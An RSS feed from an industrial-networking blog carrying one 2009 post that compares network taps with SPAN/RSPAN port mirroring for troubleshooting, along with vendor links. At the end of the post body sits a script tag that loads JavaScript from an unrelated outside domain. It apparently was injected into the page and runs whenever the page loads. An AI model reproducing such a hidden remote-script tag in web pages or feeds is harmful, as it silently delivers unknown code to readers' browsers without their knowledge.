<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kazio Networks &#187; Network Maintanence</title>
	<atom:link href="http://www.kazionetworks.com/category/network-maintanence/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kazionetworks.com</link>
	<description>Industrial Ethernet Network Services &#38; Consulting</description>
	<lastBuildDate>Thu, 10 Jun 2010 21:07:29 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>To Tap Or To SPAN?</title>
		<link>http://www.kazionetworks.com/to-tap-or-to-span/</link>
		<comments>http://www.kazionetworks.com/to-tap-or-to-span/#comments</comments>
		<pubDate>Tue, 03 Feb 2009 16:21:33 +0000</pubDate>
		<dc:creator>Melvin Foo</dc:creator>
				<category><![CDATA[Network Design & Analysis]]></category>
		<category><![CDATA[Network Maintanence]]></category>
		<category><![CDATA[Network Management]]></category>
		<category><![CDATA[Network Troubleshooting]]></category>
		<category><![CDATA[rpan]]></category>
		<category><![CDATA[span]]></category>
		<category><![CDATA[taps]]></category>

		<guid isPermaLink="false">http://www.kazionetworks.com/?p=769</guid>
		<description><![CDATA[Do you use a network tap or SPAN (Switched Port Analyzer)/ RSPAN (Remote Switched Port Analyzer) when doing network troubleshooting? 
This discussion has come up quite often in the field. Here are my thoughts &#8230;

External taps allow a more accurate timestamp with zero packet delay and the physical errors are actually captured; whereas switches may [...]]]></description>
			<content:encoded><![CDATA[<p>Do you use a <a href="http://en.wikipedia.org/wiki/Network_tap">network tap</a> or <a href="http://www.cisco.com/en/US/products/hw/switches/ps708/products_tech_note09186a008015c612.shtml">SPAN</a> (Switched Port Analyzer)/ RSPAN (Remote Switched Port Analyzer) when doing network troubleshooting? </p>
<p>This discussion has come up quite often in the field. Here are my thoughts &#8230;<br />
<span id="more-769"></span><br />
External taps allow a more accurate timestamp with zero packet delay and the physical errors are actually captured; whereas switches may drop the ethernet frames that have CRC errors. This defeats the purpose of trying to monitor, troubleshoot or analyze traffic. I WOULD want to see errors to determine what the problem is instead of it being discarded.</p>
<p>The packets that taps see are <em>WYSIWYG</em> i.e. there isn&#8217;t any outside influence on the traffic from the switch or any other source &#8212; what you see on your traffic analyzer is unfiltered, *real* and accurate. I can&#8217;t say this of mirrored traffic on SPAN ports as 1) the traffic seen is only as good as how the switch is configured and 2) only as good as how the switch functionality/ fabric performs. </p>
<p>So consider this:<br />
- Taps are *dumb* and passive, they do not have the capability of adding traffic within the monitored ports or vice versa<br />
- Taps don&#8217;t alter the frame of the packet nor does it introduce jitter or distortion<br />
- Taps do NOT filter packets regardless of error type, IP version, size, and bandwidth</p>
<p>SPAN (or Port Snooping) may impact network performance as there is packet forwarding and duplication to the port that you are using to monitor/analyze. Then there is Cisco who has multiple spanning types (depending on what switch model you use) which may impact the way the Ethernet packets are transported differently. </p>
<p>RSPAN has a downside with its packet timing; the timestamp may not be true or indicative of when it actually reaches the remote port i.e. the timing of the packet may be skewed. Since RSPAN copies packets and distributes it to the remote ports, high volume scenarios may impact network traffic within the switch and propagate to its interconnections. What that means, is that you may have multiple problems added to your network in addition to what you already have. That is one reason why I would stay away from using RSPAN within an industrial control system network. </p>
<p>Taps aren&#8217;t totally golden, they do come with some drawbacks. The main drawback is that the network may need to be disrupted for a short period of time so that one can be installed. That may not be an option in certain networks that have to keep running. Putting taps on the network introduces another point of failure as well. Thirdly, taps may incur extra costs within the network system. </p>
<p>So where does that leave you in the decision of which one to use? </p>
<p>It&#8217;s a trade-off, the short disruption when installing a tap is manageable (and controlled). SPAN may potentially cause lengthy, uncontrolled disruptions. Uncontrolled disruptions with SPAN may be catastrophic as it is unexpected; short disruptions with tap installations are expected and everyone is prepared for it. Catastrophic occurrences within industrial networks may cost a manufacturing plant thousands of dollars. A worse scenario would be a bit not latching (within a control system), causing a <a href="http://www.automationworld.com/feature-142">Safety PLC</a> to function incorrectly (or not function at all).</p>
<p>Before deciding which method to use, it would be wise to access the situation within an industrial network first. It goes without saying that monitoring/ troubleshooting of network traffic should always be done by a person that is comfortable performing the related pre setup tasks. You have to make sure that proper thought has been put into using the right analysis method as the switch mechanisms may cause more problems to the network than what you started out with. </p>
<p>My preference is to use external taps for analyzing/ monitoring networks. It is just more indicative of how the network performs at the given time/ instance. It is passive like and there isn&#8217;t the worry of it disrupting the network (after the initial installation) as compared with the SPAN alternative. <em>A good industrial network design/ installation would most often have taps at strategic points of the network for instant access to network traffic.</em> <a href="http://www.datacomsystems.com">Datacom</a> and <a href="http://www.netoptics.com">Net Optics</a> are examples of manufacturers who make network taps. </p>
<p>Of course, the debate of using the network tap vs. SPAN has been long argued by vendors championing its cause. From an industrial automation point of view, the decision of which method to use in troubleshooting may ultimately come down to who is going to have the least impact and risk on the network.  </p>
<p>A typical tap setup within a network:</p>
<p><img src="http://www.kazionetworks.com/wp-content/uploads/2009/02/spantaps-499x252.gif" alt="spantaps" title="spantaps" width="499" height="252" class="alignnone size-large wp-image-783" /><br />
(Graphic source: <a href="http://www.netoptics.com/lp/tapspan.asp">Net Optics</a>)</p>
<p>Here are some good articles on the web about Taps, SPAN and RSPAN:</p>
<p><a href="http://www.lovemytool.com/blog/2007/08/span-ports-or-t.html">SPAN port of Tap? (Tim O’Neill)</a><br />
<a href="http://www.lovemytool.com/blog/2007/11/rspan.html">RSPAN … Friend or Foe? (Tim O’Neill)</a><br />
<a href="http://www.netoptics.com/lp/tapspan.asp">Tap vs. SPAN Ports (Net Optics)</a><br />
<a href="http://www.datacomsystems.com/solutions/taps-vs-span.asp">Network Taps vs. SPAN Ports (Datacom)</a><br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kazionetworks.com/to-tap-or-to-span/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
